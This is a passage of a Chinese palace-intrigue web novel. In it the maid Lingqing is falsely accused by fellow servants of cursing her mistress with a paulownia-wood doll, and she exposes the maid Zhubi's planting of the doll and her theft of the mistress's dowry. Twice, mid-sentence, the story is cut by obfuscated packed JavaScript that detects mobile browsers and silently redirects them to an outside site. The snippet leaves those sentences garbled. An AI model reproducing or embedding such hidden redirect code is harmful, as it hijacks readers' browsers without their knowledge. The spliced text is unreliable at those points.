她停下手,一副困惑的样子:“不应该啊………前些日子小厨房里有只鸡不小心掉进了水缸里,当时也是浑身湿透,毛都贴在身上,那时候就是奴婢帮忙捞上来擦干净的,那毛啊,擦的锃亮,一点水也没有———” 她话还没说完,突然停住了,一脸为难:“啊,奴婢不该这么说的。” “什么鸡?你说清楚!”陆皎察觉到不对。 “没什么没什么。”凌青连忙垂下眼,“奴婢就是想起那只鸡湿了毛的样子,但三小姐怎么能和畜生比呢?” 逄楚之再也忍不住了,“噗嗤”一声笑了出来。 陆沁本也想笑,却又怕陆皎生气,弯起来的唇角被迫耷拉了下去。她小心翼翼地看向陆皎。 陆皎看众人的表情,这才明白过来,这丫鬟是在拐弯抹角地说她像落汤鸡!她气得浑身发抖,看看自己确实狼狈的样子,只感觉羞愤的想死。 “你个贱婢,你等着,我不会放过你!”她的声音已经带上了哭腔。 她又转头看了看崔令徽,终于体会到了什么叫难堪,她再也忍不住,捂着脸,快跑了出去。 18. 陷害(一) 陆皎跑远后,屋内的气氛过了许久才恢复。 崔令徽有些感激地看了凌青一眼,转向陆沁:“抱歉,是我处理不得当。” 陆沁连忙摇头:“跟崔公子没关系……你不要放在心上。” 她犹豫了一下,却又轻声道:“只是………崔公子也不要怪罪三妹。她……她只是有些不懂事。” 她尽量打着圆场,让自己看起来不在乎陆皎的所作所为,但眉宇间却是说不出的疲惫。 凌青站在旁边默默看着她的神色,只觉得她似乎内心也已经厌极了陆皎的无理,却又不知道因为什么原因,强逼着自己宽容陆皎。 到底是什么样的原因,能让她一直像朵没脾气的白莲,一次次宽恕自己的妹妹谋命还夺夫? 院内仍然气氛低迷,众人兴致也都不高。凌青静静站着,却忽然看见逄楚之抬起头,眯着眼睛打量着月露榭牌匾上的字。 过了一会儿,他指着那字,状似好奇地问道:“阿姐,有个事我早就想问你了,月露榭的名字是你自己起的吗?” 陆沁一愣,点了点头:“‘露从今夜白,月是故乡明。‘①当初我还小,正巧读了这诗喜欢的不得了,便取月露二字作为院子之名。 “那,月露榭是不是也真的承过月露?” 这话没头没脑,却是一派天真,像孩子问出来的一样。 陆沁被他这么一问,刚才的烦闷暂时搁置,轻声笑道:“倒是承过的。每逢中秋月圆时,这榭中的露水格外清澈,祖母说用来煮茶最是甘甜。” “那倒要等到中秋来讨一杯月露茶了。”逄楚之笑道,“我听说,用月露煮的茶有个说法,说是能让人心想事成。” 凌青内心冷笑,逄大公子家世外貌无一不有,背后依仗着逄家、陆家、崔氏一族。听说他的太后姑母更是疼他,怕是这天下除了皇位,他要什么都是唾手可得。 这种人,就别浪费许愿的限数了,赶紧往后稍稍吧。 “到时候,我一定带着表哥一起来,阿姐可要赏我们两杯茶啊。我也想喝了之后………心想事成。” 他说着,有意无意地瞥了一眼崔令徽和陆沁,那眼神分明是在逗他俩。陆沁明白了他的用意,脸颊微红,心情也不由好了许多。 见陆沁恢复神采,又与崔令徽说上话。逄楚之这才慢悠悠起身,假装闲溜达,溜达着溜达着又到了凌青身边。 “中秋那日,姐姐也来与我们一同过吧。你有没有什么愿望想许?” 唯一的愿望,就是让你滚的远远的。 凌青垂眸整理茶具:“奴婢贱命一条,活着便行,那还敢奢求什么愿望。” 逄楚之“噗嗤”一笑:“真的吗,我可不信姐姐是这样认命的人,你看你刚才治那个陆皎治的,真的很爽啊,那茶水泼得我都想给你鼓掌。” 凌青面无表情:“奴婢只是手滑了。” “好好好~”逄楚之耸了耸肩,“你说手滑就手滑,你今天有功,给我表哥和阿姐解决了麻烦,我今天都听你的,好吧?” 然后,他便不说话了,只是聚精会神地盯着凌青,看她干活。 他的那双桃花眼里仿佛有光在闪动,嘴角还带着浅浅的笑意。他就这么毫不掩饰地看着她,眼神里带着丝毫不遮掩的兴味。 凌青感受到那道炽热的视线,心中有些烦躁。这个人的存在感实在太强,那看似柔和,实则侵略感十足的感觉,让人想忽略都做不到。 她蹙着眉,将茶具都收完。 时间渐晚,夕阳西下时分,月露榭内已经点起了素纱灯。素纱灯的光洒在厅内,周围瞬间多了几分暖意。 崔令徽看了看天色,慢慢地站起身来:“时候不早了,我和楚之也该告辞了。” 陆沁闻言,眼中闪过一丝失落,但她还是强作笑颜,温婉地点点头:“那便……那便送送崔公子。” “不必多礼。”崔令徽的声音更加不舍,“下次……下次我再来拜访。” “好。”陆沁轻声应着,脸颊又泛起了红晕。 两人四目相对,似乎有千言万语想要倾诉,却又碍于在场众人,只能将话咽回腹中。 “我也要走了,姐姐会有点舍不得我吗?” 凌青正望着陆沁和崔令徽的身影,却忽然听到耳边有人低声。 她侧身避开,淡声道:“你觉得呢?” “我觉得你会啊。” “你觉得就你觉得吧。” 正当这一行人准备往外走时,门外却忽然传来一阵听到窸窸窣窣的声音。众人不由停下脚步,紧接着就看到一个小丫鬟在门口探头探脑,神色鬼祟。 临近傍晚,出现个可疑的人在门口不知道干什么,众人脸上都出现了疑色。 “雀儿?”谷翠率先认出来,“你在那偷看什么呢?” “雀儿?”陆沁看见了那个小丫鬟,温声唤道,“怎么了?有什么事吗?” 雀儿是个十四五岁的小丫头,平日里在院子里打个杂扫个地,和凌青住在同一间屋子。此时她脸上带着明显的紧张和惶恐,似乎有什么重要的事要说,却又不敢开口。 “雀儿?”陆沁见她犹豫,便招了招手:“过来。” 谷翠也在一旁道:“雀儿,别扭扭捏捏的,小姐叫你过来。” 雀儿这才怯生生地走了过来,低着头不敢看人,双手紧张地搅着衣角:“二、二小姐,奴婢无意打搅小姐会客,只是想看看客人走了吗,因为有件事……有件事要禀报。” “什么事?你现在说就行。”陆沁以为是这小丫头家里出了什么事,也没多想,直接让她说。 雀儿偷偷瞟了一眼凌青,见后者正静静地站在一旁,便咬了咬唇,鼓起勇气道:“二小姐,奴婢昨夜里……昨夜里看见了一些……一些不该看的东西。” 听到这话,凌青眉头几不可察地扬了扬,但面上依然平静如水。 崔令徽和逄楚之原本已经准备离开,听到这话也停下了脚步,眼神齐齐看向雀儿。 “不该看的东西?”陆沁终于察觉出不对,声音里带了一丝迟疑:“是什么呢?” 雀儿欲言又止,看向逄楚之和崔令徽。 崔令徽察觉到了她的视线,连忙拉着逄楚之要走:“二小姐处理家事,我与楚之不便打扰,告辞。” 逄楚之却没被拉动,他表情仍然笑盈盈的,但凌青却分明从他眼中看到了玩味的神色。 她立马明白了,这人估计又觉得有好戏看了,不舍得走,想留下来看热闹。 “表哥,听起来像是对阿姐不利的事,你不担心吗?”逄楚之眉间凝上了一丝忧虑,似乎很为陆沁着想,“我真的有点担心。” 说完,他又生怕陆沁让他们走,抬起眸子,眸光间全是担忧:“阿姐………算了,我和表哥是外人,留在这里也实在不好,我们这就走了。” 他在“外人”两个字上着重加强语调。 陆沁一看他这个样子,瞬间就有些愧疚:“楚之,你知道的,我把你当亲弟弟一般。” 说完,她便蹙着眉看向丫鬟雀儿,示意对方但说无妨。 雀儿深吸一口气,仿佛下了很大的决心一般。她张口,缓缓道:“二小姐,奴婢和凌青姐姐住在一个屋内,昨夜里,奴婢半夜醒来想要出恭,却看见………” 她说到这里停了下来,眼神有些瑟缩的看向凌青。 “看见什么了?” “奴婢看见凌青姐姐没睡觉,在纱帐里不知在做些什么。起初奴婢以为她在做针线活,也没太在意,可是………”雀儿的声音忽然变得极为惊恐:“可是奴婢仔细一看,竟然发现她手里拿的是个…………桐木偶人!” 此话一出,众人顿时呆住了,周围安静的落针可闻。 崔令徽皱起眉头,逄楚之看不出什么表情,陆沁脸色一白,不敢置信地看向凌青。 凌青依然平静的站在那里,听到雀儿提到她的名字,她也只是微微抬头,做出一副在听的样子。 “你……你说什么?”陆沁的声音有些颤抖。 雀儿见了陆沁的反应,胆子似乎大了一些,继续补充道:“奴婢看的很清楚!那是一个桐木偶人,做的很精细。奴婢吓得不行,连忙躺下不敢动弹,但还是隐隐听见凌青姐姐嘴里小声的嘀咕着………小姐的名字。” 陆沁看向凌青。 “胡说八道。”凌青终于开口了,声音却没有一丝波澜,“我从未做过这样的事,你怕是做梦了吧。” “我没有胡说!”雀儿似乎被凌青的平静激怒了,声音也高了起来:“我听见你不止念了小姐的名字,还在反复念什么符咒,奴婢仔细记了下来,那念的分明是—— ‘天煞归汝,地煞入眸,吾承尔运,尔受吾咒!‘” 她这一板一眼的,说的似乎格外真切,却也点明了这个桐木偶人的恐怖之处。 “以他人之命来转运?”崔令徽皱紧了眉头,一脸审视的看向雀儿:“照你这么说,她用的是换命符咒?” “奴婢不知道什么符咒,只把昨天看的讲出来了。” 巫蛊之术,极其严重,还是涉及到她的换命术。陆沁脸色有些苍白,身子也有些摇摇欲坠。 但她不愿凭一个小丫鬟的一面之辞就怀疑凌青,她已经疑心过一次了,若是这次再冤枉凌青,她的良心这辈子都不会好过。 况且,她不相信凌青会干出这种事。就不说凌青为她尽心尽力调理身体,为她去解决陆皎………这一桩桩,一件件哪怕都不能说明的话…… 那字一定能说明。 她忘不了凌青的字,那样峥嵘不屈的字,一撇一捺都如利剑出鞘,一身傲骨,通通融入墨色。她一直坚信字如其人,这样坚韧磊落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956634|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,怎么可能做出这样的事呢。 “雀儿,空口污蔑他人可是要重惩,还是以巫蛊之名污蔑,你可想要清楚。”陆沁不由声音放冷。 凌青有些意外的看了看陆沁,接着也跟着道:“听见小姐的话了吧,雀儿,你可要为自己的话负责。” “奴婢没有污蔑人!”雀儿看陆沁不信,忽然激动起来,像是受了多大委屈一般:“小姐,您是觉得她平常毕恭毕敬,才不觉得她会这样做。但若奴婢说,她早就私下里对小姐不满了呢?” 这话如一道雷霆一般在耳畔炸开,震的所有人都为之一颤。陆沁,谷翠和陶嬷嬷,脸上皆是不相信。 “她一直自视甚高,觉得自己生的美貌,又能力出众,凭什么只能做个丫鬟。所以她嫉妒二小姐,想出换命术也不稀奇!凌青姐姐,平日里你恭敬沉稳,可我看得出你眼中的不甘!” 这话说的慷慨激昂,众人不由侧目看向凌青。 凌青听了有些想笑,她的确不甘心做个丫鬟,也嫉妒那些天生什么都有的人。 但她可犯不着换命,她的命再不好,再曲折,那也是她凌青自己的命。 她的命只有她自己能担着,旁人的命,她担不起,也不屑担。更何况,她自己就是这天地间独一无二的存在,为什么要去做别人? 凌青淡声:“我与你关系平平,也就平常见个面打个招呼的关系,住在一起的时候连话都没说过几句。你竟然能这般了解我,还能从我眼神里看到不甘,我这辈子都没碰到这么懂我的人,不知道的还以为你喜欢我呢。” “你———”雀儿一听,指着凌青,震惊的不知该说什么。 逄楚之又笑了,在旁拱火:“这位雀儿姑娘可真厉害啊,竟然能从凌青姑娘那呆若木鸡的眼神里看出不甘,厉害厉害。” 凌青瞥了他一眼,继续问雀儿:“你我一向不熟,我不相信你能说出今日这番话。说吧,谁教你说的?” 雀儿脸色一变:“什么……什么意思?” 正在这时,门外又传来急促的脚步声,今日白天告假的渚碧快步走了进来。她一过来就似乎知道发生了什么事,急匆匆问道:“小姐……崔公子,逄公子,这是怎么了?” 雀儿一见渚碧来了,刚才还紧张的神色瞬间恢复如常,仿佛找到了救星一般。她将事情全与渚碧说了一遍。 渚碧假装惊讶地捂着嘴巴:“换命偶人!小姐,奴婢也听说过这个,这是在用小姐的命去换她的运,长此以往,您会越来越虚弱……直到………” 陶嬷嬷一向疼爱陆沁,此时更是听不得这话,打断道:“别说了!” 凌青看着渚碧与雀儿一唱一和,只感叹好一出戏,两个人都演得像模像样,而她的冷静也在此时被衬得越发怪异。 “小姐!”渚碧扑到陆沁跟前,满含热泪:“我早就说凌青心怀鬼胎,我那银针之事也是被她陷害,小姐!” 陆沁面如死灰,身子摇摇欲坠,却不肯说话。 “小姐,难道您到现在还相信凌青吗?奴婢知道您心善,但此事关乎您的性命安危,绝不能马虎啊。” 陆沁脸色越发难看,但还是摇了摇头:“不……不可能,我相信凌青为人,若她想要我的命,那上一次我晕倒,她大可不给我治病。她一次次救我,怎么可能要害我?” “小姐!”渚碧又急又气:“您怎么还这么固执!她那都是虚与委蛇,故意骗您取得您的信任,这样才方便她换命!您赶紧下令,去找找那个桐木偶人就知道真假了!” “我说了,我从未做过,难道要凭雀儿一人之辞,就搜查我吗?”凌青再次开口,眼神犀利地看向雀儿:“雀儿,你说你昨晚看到我做桐木偶人,那我问你,是昨晚几时?我做了多长时间?为什么你明明起夜我却不遮掩,当着你的面念念叨叨,我真的有如此傻?” 雀儿一愣,显然她和渚碧没想到这些问题,她支吾道:“我怎么知道………” “昨天夜里阴云密布,把月光全遮住了。你是如何看清我在做什么,而我又怎么能在那么黑的环境下做偶人?” 渚碧内心咬碎了牙,上次凌青对付那碧桃也是这样,咄咄逼人,让对方根本答不出来。她以为凌青这次听说是巫蛊,一定会慌,没想到她还是这般冷静。 她连忙出来圆场:“凌青!你这样咄咄逼人做什么,雀儿年纪小,记不清细节很正常。重要的不是细节,而是你到底做没做!你不是想证明吗,那直接让我们去搜查一下你房里就知道了。” 凌青抬起眼看着她,那眼神如同利刃乍现寒光,她冷声道:“若是因为她一句话就要搜查,那下次有人污蔑我偷了东西藏在身上,莫不是我还得脱衣服证明?” 话糙理不糙,崔令徽听后有些不自然地扭过头去。逄楚之却眼中闪过点点亮光,不是什么不干净的眼神,竟全是欣赏之意。 19. 陷害(二) 不听分辨 正在此时,门外传来一阵沉缓的脚步声,檀木杖叩在地上,一声一声,直戳进人心里。众人回头一看,只见陆老夫人在几个丫鬟的搀扶下缓缓走了进来,身后还跟着一身素雅装扮的林雪桐。 许久不见,陆老夫人还是那个样子。一头银丝束得一丝不苟,眼皮松垂耷下,薄唇微抿,愈发慑人。 林雪桐似是匆匆装扮后过来的,脸上依旧带着那温柔的笑意,只跟在老夫人身后,微微向崔令徽和逄楚之点了点头。 崔令徽和逄楚之纷纷站起见礼:“见过老夫人,伯母。” 陆老夫人颔了颔首,与他们客套了几句,便皱着眉打量跪在地上的凌青和雀儿,冷声问道:“这是怎么回事,为何都这个表情?” 渚碧见陆老夫人来了,脸上露出一抹笑容,她连忙跪了下来:“老夫人来的正好,小姐都要被人害死了!凌青,就是这个凌青,她用巫蛊之术谋害二小姐!” 巫蛊二字如惊雷炸响,刚过来的下人们齐齐一颤,陆老夫人和林雪桐也都露出惊诧的表情。 过了许久,陆老夫人才出声,她声音依旧平和,眼神却瞬间锐利如刀:“说清楚。” 渚碧看了雀儿一眼,雀儿连忙爬出来大声道:“回老夫人,奴婢亲眼看见茶药间管事凌青,偷偷做了桐木偶人,还贴了换命咒,念叨着要用小姐的命换她的好运!” “什么?”林雪桐脸色越发严肃:“沁儿身边怎么能出这样的事!那沁儿的身子弱,也是被这巫蛊咒的?” 陆老夫人面色沉如水,良久才缓缓开口:“巫蛊之术,朝廷严禁。”她声音不高,却带着令人森然的气势:“我陆府岂容这等污秽之物。” 林雪桐看了看旁边的崔令徽和逄楚之,将身子朝老夫人探去:“母亲说的是,这事若是传扬出去,对我们陆家清誉实在不妥。况且………”她轻叹一声:“崔家姑爷和逄家公子都在这,这种事情被看见,都是我管家不严之罪,我实在是无颜………” 她说着,眼圈都有些红了,一副深深自责的模样。 崔令徽见状,连忙上前一步,拱手道:“夫人言重了!我和楚之本就不该在此时留下,若说有失,也是我们失了分寸。至于今日之事,我等绝不会向外透露半句,夫人请放心。” 林雪桐闻言,语气更加带着歉意:“我们本就是一家人,哪有什么外人分寸之说?只是这种事让两位见了,实在让人惭愧。” 她转头看向下面的凌青,认出了这是那个颇通医术,本来想指给皎儿的丫鬟。她有些惊讶:“是你?我当初看你懂几分医术,让你好好照料二小姐,你却干出这样的丑事。你真是……太让人失望了。” “祖母,母亲,凌青不是这样的人,我的病就是她替我调理的。她真的不是……”陆沁想要为凌青辩解。 陆老夫人向来疼爱这个孙女,此时却难得的没有回应她,只是淡淡看了她一眼:“沁儿,你心善,这是好事。但有时候,过度心善只会让底下的人骑在你的头上。且有些事,不是凭一己之见就能断定的。” 凌青听了这话,心里暗叫不好。自陆老夫人进来起,她心中就隐隐有些不好的预感。她实在没有想到,渚碧为了给她一个致命的,竟然会想法子将陆老夫人和林雪桐请来。 而她们一进来,就似乎默认了她的罪名,竟是没有听她一句解释,就这么认定了。 此时不为自己分辨,恐怕就没机会了。 凌青开口道:“老夫人,奴婢从未———” “够了。”陆老夫人打断她的话,声音依旧冷硬,带着不容置疑的威严:“巫蛊之事,只要出现,就是脏了府里的名声,拉她下去。” “是。”老夫人身边的兰嬷嬷立刻上前,就要抓凌青的胳膊。 凌青心中猛地一震,如遭雷击。 她不可置信地瞪大眼睛,脑中一片空白。什么?为什么?就这样?连让她解释的机会都不给,就要将她拖下去处置? 她听见陆沁在旁边替她求情,但无济于事。 这一瞬间,凌青才真正明白了什么叫做天真。她之前还以为凭着自己的脑子,凭着那些费心筹谋的算计,就能将这群人耍的团团转。却没想到,在这些高门大户眼中,一个丫鬟的性命轻如鸿毛,想杀就杀,根本不需要什么理由。 她的心中第一次涌起一阵强烈的恐惧。不是恐惧那高高在上的人,而是恐惧自己之前的想法。自己还是太草率了,太高估了自己的分量,也太低估了这些人的冷酷无情。她以为一切尽在掌握,却没想到一句话就能让她死无葬身之地。 但是,她不能死!她还没有找到姐姐,她还没有为父亲复仇,她绝不甘心就这样认命! 在翠兰的手即将碰到她胳膊的那一瞬间,凌青迅速冷静下来。她脑中急速转动,忽然大声道:"老夫人!奴婢死不足惜,但若真有人在暗中对二小姐行巫蛊之术,您就这样处置了奴婢,真凶定会在暗中继续诅咒小姐的!” 这话一出,所有人都停住了。 兰嬷嬷的手停在半空,陆老夫人也微微皱眉看向她。 凌青趁机继续:“请您彻查月露榭,只有要将所有巫蛊之物都揪出来,才能确保二小姐的安全。” 她悄悄看了一眼陆沁,陆沁眼眶已经盈满泪水,又是感动,又是急切。 就在这时,逄楚之出声了。 “祖母,陆夫人,我有句话,不知当讲不当讲。” 他的声音本是低沉,但带着少年的清亮,听起来很是悦耳:“凌青姑娘是祖母指过来伺候阿姐的,祖母的眼光定不会差,她来的这段日子也做得很好,阿姐的身体也渐渐好起来了。” 他抬起眼,略带撒娇的看向陆老夫人:“祖母,您从小就疼我,把我当亲孙子似的,我也把您当亲祖母。您就听我这一次,好好搜查搜查,不仅让阿姐无后顾之忧,说不定还能还凌青姑娘一个清白。” 这话说的温柔又真诚,仿佛他真的是一个善良至极的少年。凌青抬起头,与他对上眼神。 陆老夫人本也不是这么草率一人,巫蛊事小,被传出去才是事大。她怕的是这样彻查一番,搜出那偶人,更在逄家人和崔家人面前丢了面子,所以才想草草了事,先把这凌青处置了再说。 但她听了凌青的话,心底也有些犹豫,她真心疼爱陆沁,所以坚决不能允许这院里有任何对陆沁不轨的人。这丫鬟说的没错,若她被冤枉,真正幕后之人还会继续威胁陆沁。 听了凌青的话,又有逄家公子给她递台阶,她神色稍缓:“自然,你从小就跟着沁儿一起叫我祖母,我也知你心善。” 她转向兰嬷嬷:“彻查月露榭,着重查这个凌青待过的地方,务必仔细。” “是,老夫人。”兰嬷嬷应声而去。 众人都待在主厅等着结果,气氛凝重的让人喘不动气。 凌青逃过一劫,但她知道事情没完,接下来虽然已在掌握,但不能再有任何差错了。 她趁此机会,悄悄抬头,观察在场每个人的神色。 陆沁焦急紧张,应当是真的在为她担忧。渚碧和雀儿自然是势在必得,眼神里全是期待。林雪桐仍然那个样子,看不出什么波动。陆老夫人威严中带着不耐。崔令徽有些坐立不安,似乎是觉得自己在此叨扰,但因为担心陆沁不得不继续留下。 而逄楚之……… 他装的一副迷茫单纯,很想知道结果的样子,但凌青一眼就看出,他大概早就看透真相了。 时间慢慢流逝,仿佛越来越漫长。 终于,兰嬷嬷回来了,她的脸上却带着奇怪的表情。 陆老夫人立刻问道:“如何?” 渚碧激动地转过身,满脸期待:“嬷嬷,是不是在凌青那里找到了那个桐木偶人?” 众人都看向兰嬷嬷,等着她口中的结果。 兰嬷嬷左右看了看,似有些为难,最终还是硬着头皮道:“回老夫人,确实......确实是找到了。” 渚碧闻言大喜过望,几乎要掩藏不住那得意的神色:“我就说!我就说她心术不正!老夫人,夫人,小姐,她就是想害死小姐转运,她上次也是这么陷害我的!” 她一边说着,一边趾高气昂看向凌青,仿佛已经看见了凌青被拖出去处死的场面。 可谁知兰嬷嬷接下来的话,却如一道惊雷,劈得众人目瞪口呆。 “只是......这桐木偶人,是在渚碧姑娘那找到的。” 空气仿佛在这一瞬间凝固了。 渚碧脸上的得意笑容瞬间僵住,她瞪大眼睛,不敢置信地望着兰嬷嬷:“什么?你......你说什么?” 兰嬷嬷与渚碧也算是有过交情,但此刻事关重大,她不得不躲开渚碧的目光,如实禀告:“就埋在渚碧屋前的海棠树下,上面的确贴着黄纸符咒,还写着二小姐的生辰八字。” 渚碧彻底懵了,巨大的落差让她一霎那入坠冰窖。 “不可能………”她摇头,眼里已经不知不觉流出眼泪,“绝对不可能!嬷嬷,你是不是搞错了?那东西怎么可能在我那里?” 她说着,猛地转头看向凌青,眼中全是恨意。她尖声大叫,嗓子都破了音:“是你!一定是你陷害我!你又和上次的毒针一样,你又栽赃嫁祸!” 她又如发狂一般转向陆老夫人和陆沁,“砰砰”磕了几个头,哭喊着:“老夫人,小姐,凌青心思歹毒,奴婢是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956635|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她陷害!你们万万不可被她蒙蔽!小姐,小姐,咱们从小一同长大,你自是相信我的,是不是?” 凌青在旁边冷不丁开口:“渚碧,我从来不知道什么换命术,无从用这招陷害你。况且,从头到尾都是你和雀儿在那里一唱一和,我连反驳的机会都没有,若真的是我想害你,为何要这么被动?” 而陆沁已经完全呆住了。先是她欣赏的凌青,后又是她视若亲姐妹的渚碧,这接连的打击让她近乎崩溃。 她微微颤抖,看着渚碧,眼中的泪水已经模糊了视线。这个从母亲去世就陪在她身边的人,这个她当作亲姐妹一般疼爱的人,竟然...... 陆沁的心像被撕成了两半。一半告诉她,要无条件信任渚碧,她是自己为数不多的亲人;另一半却如此清醒,渚碧之前的种种行为,以及她越发逾越的态度,都似乎在提醒她,这事大概就是渚碧做的。 她知道渚碧不是想害她,那个所谓的桐木偶人,只是为了陷害凌青罢了。 只要她想,的确可以将此事揭过去,保下渚碧,可是凌青——难道要因为她的优柔寡断而白白蒙受这个冤屈? 陆沁只觉得胸口像压了块巨石,喘不过气来。她不知道该如何选择,她甚至想此刻晕过去,这样就能逃避选择了。如果保下渚碧,就是对凌青的不公。如果不保渚碧,她又怎么能眼睁睁看着从小的姐妹毁于一旦? 看着渚碧惊慌失措的样子,陆沁心如刀割。纵然心中已有几分明悟,她还是要选择渚碧的命,但她会用自己的一切去弥补凌青。 “祖母,”陆沁的声音颤抖得厉害,她不敢看凌青,“渚碧......渚碧她从小就跟着我,这事或许有什么误会……要不,就此揭过吧。” 陆老夫人看着孙女苍白的脸色,心中也有些不忍。渚碧毕竟是府里的家生子,从小就跟着陆沁,两个人感情有多深,她也是知道的。若要严办,确实有些残忍。 凌青平静地跪在那里,心里没有一丝意外。 陆沁要保渚碧,这太合理了,一个胜似家人的婢女,感情终究是不一样的。她不怨恨陆沁,毕竟陆沁从头到尾都是信任她的,也替她分辨,这就已经仁至义尽了。 只是,她还是会觉得有些不公。 她有嫌疑,连争辩的机会都不能有,就可以直接拖出去打死。而渚碧同样是丫鬟,物证已经确凿,主子们却还是愿意睁一只闭一只眼。 她知道自己是后来者,哪怕尽心尽力做事,从不出一丝差错,也比不上从小在府里长大的渚碧感情深。所以这不公的待遇,似乎都在情理之中。 可惜………她从不考虑情理,只考虑自己。 当这不公损失到了她的利益,那她还偏要理论理论了。想让她忍气吞声,没门。 就在众人以为,此事要这么过去的时候,凌青开口了。 “老夫人,”凌青跪在地上,神色诚恳,“奴婢还有一话,不知当讲不当讲。” 陆老夫人面色深沉,但还是点了点头:“你说。” 凌青缓缓道:“渚碧自从上次被小姐责罚后,心中一直愤愤不平。她觉得都是因为我才让她丢了脸面,所以对我怀恨在心,也恨上了没有偏帮她的二小姐。” “胡说八道!”渚碧声嘶力竭地喊道:“我没有!我怎么可能恨小姐!” “就因为沁儿罚了她,她就用巫蛊之术?似乎有些小题大做。”林雪桐在旁轻声道。 “自然,这件小事不足以让渚碧谋害小姐,可若是………她早就做了叛主的事,怕小姐会发现,所以才想出巫蛊之术让小姐日渐消磨元气,直到………香消玉殒,这样就能彻底掩盖她的罪行。” 此话一出,众人皆是大惊。 “什么叛主?”陆老夫人厉声问道。 林雪桐也不敢置信:“渚碧怎么可能做出叛主的事情?” 凌青深深看了一眼脸色煞白,几乎要晕倒的渚碧,缓缓说道:“老夫人,夫人,据奴婢所知,先夫人去世时,留给了小姐不少嫁妆,而这些,统统都存在库房,由渚碧看管。” 陆老夫人点头:“沁儿生母去世时,我特意交代过,那些东西都要好好保管,等沁儿出嫁时带走。” “可惜………小姐出嫁之时是不能将那些全带走了。” “为何?” “因为………”凌青抬起头,一字一句道:“渚碧监守自盗,已然将嫁妆中的一部分偷偷变卖了。” 话音落下,整个厅堂如遭雷击,鸦雀无声。 渚碧听到这话,如遭五雷轰顶,这个她以为没有人发现的秘密,竟被人当着这么多人的面撕得粉碎!她再也支撑不住,“扑通”一声瘫倒在地,面如死灰。 20. 陷害(三) 陆沁站在那里,久久没有说话。 她只是怔怔地看着地上的渚碧,眼神从最初的震惊,渐渐变成了茫然。 她不明白。 从前,渚碧无论犯下什么事,她都会无条件的原谅她,只因她觉得渚碧内心里还是最在乎自己的。 可正因为渚碧是身边之人,她也最懂自己对母亲的思念,最知道自己是如何重视那些嫁妆。那些是母亲留给她的最后念想,是她心中最珍贵的东西,渚碧怎么能……… 怎么能………如此戳她的心窝子? “渚碧......”陆沁的声音放得极轻,“你......你真的......” 话说到一半,她忽然说不下去了,只是眼眶越来越红。 “我没有!”渚碧像是抓住了最后一根救命稻草,从地上爬起来拼命摇头:“小姐,我没有!我怎么可能偷您的东西!是她污蔑我,您要相信我!” 陆沁望着她,眼中闪过一丝希冀:“真的吗?” 凌青冷眼看着这“主仆情深”的一幕,直接泼冷水道:“既然渚碧说奴婢污蔑,那就请老夫人派人对照嫁妆单子去查库房。清清白白,一查便知。” 陆老夫人沉声吩咐:“兰嬷嬷,你与陶嬷嬷一同去查库房,仔细核对嫁妆清单。务必一件不漏。” 这话一出,渚碧的脸瞬间白得像张纸,身子开始不受控制地颤抖。她张了张嘴,却一个字也说不出来。 等待的时间里,整个厅堂安静得可怕。陆沁紧紧握着双手,指甲生生嵌进了掌心,留下了一道道痕迹。可她却浑然不觉。眼睛一直盯着渚碧,仿佛想要从她脸上看出什么来。 渚碧低着头,不敢与她对视,只是跪在地上瑟瑟发抖。 终于,脚步声响起,两个嬷嬷回来了。她们的神色已经说明了一切——那种欲言又止,不忍开口的样子,让陆沁的心瞬间沉了下去。 陶嬷嬷声音颤抖:“回老夫人,小姐......库房里确实......确实少了不少东西。” 陆沁的身子摇晃了一下。 “都少了些什么?” “主要是首饰、香料、小摆件之类的物件。大件的箱笼、屏风倒是都在。可是老夫人,那些拿走的,每一件都是先夫人的心爱之物,件件都价值千金啊。” 陶嬷嬷说着,眼眶也红了。她当年也是伺候过陆沁生母的,对那些东西再熟悉不过。她恨自己信错了人,将库房交给她人保管,任先夫人的东西被偷卖。是她对不住夫人和小姐。 陆沁听到这话,只觉得眼前一黑。那些母亲曾经抚摸过的小摆件,母亲可能带过的首饰......…这些东西是她与母亲唯一的连系,也是母亲存在于过这世上的证明,却………全都没了。 她的腿一软,整个人就要倒下去。 “陆二小姐!" “小姐!” “沁儿!” 崔令徽、谷翠和陆老夫人同时惊呼出声,逄楚之和林雪桐也紧张地站起身来,纷纷上前搀扶。 “快扶沁儿坐下!”林雪桐急道。 陆沁被众人扶着坐到椅子上,缓了好一会儿才睁开眼睛。她看着围在身边的人,双眼却还是空洞。 “我没事。”过了一会儿,她轻声说道:“让我自己来。” 她站起身,轻轻推开了扶着她的人,一步一步走到渚碧面前,声音哽咽:“为什么?渚碧,你告诉我为什么?我们亲如姐妹,你要什么我不给你,你为何要这样对我?你是不是遇到困难了,是不是?” 都到这一步了,她还抱有一丝希望,觉得渚碧可能只是遇到了困难,不得已做出这种事。 渚碧只是跪在地上呜呜地哭,任凭陆沁如何追问,就是咬死不说。 陆沁见她不肯开口,眼中闪过一丝失望,转头看向凌青:“凌青,你是如何知晓此事的?” 凌青低着头,心里开始快速回想前几日调查的事。 今天白日她从五小姐陆屏院中出来,其实没有立即回月露榭,而是又去了府内库房,找凝儿打听了陆屏的事。 陆屏的生母陈姨娘,家世平平,父亲只是个从八品的州判。她上头有个哥哥,是一家当行的掌柜。 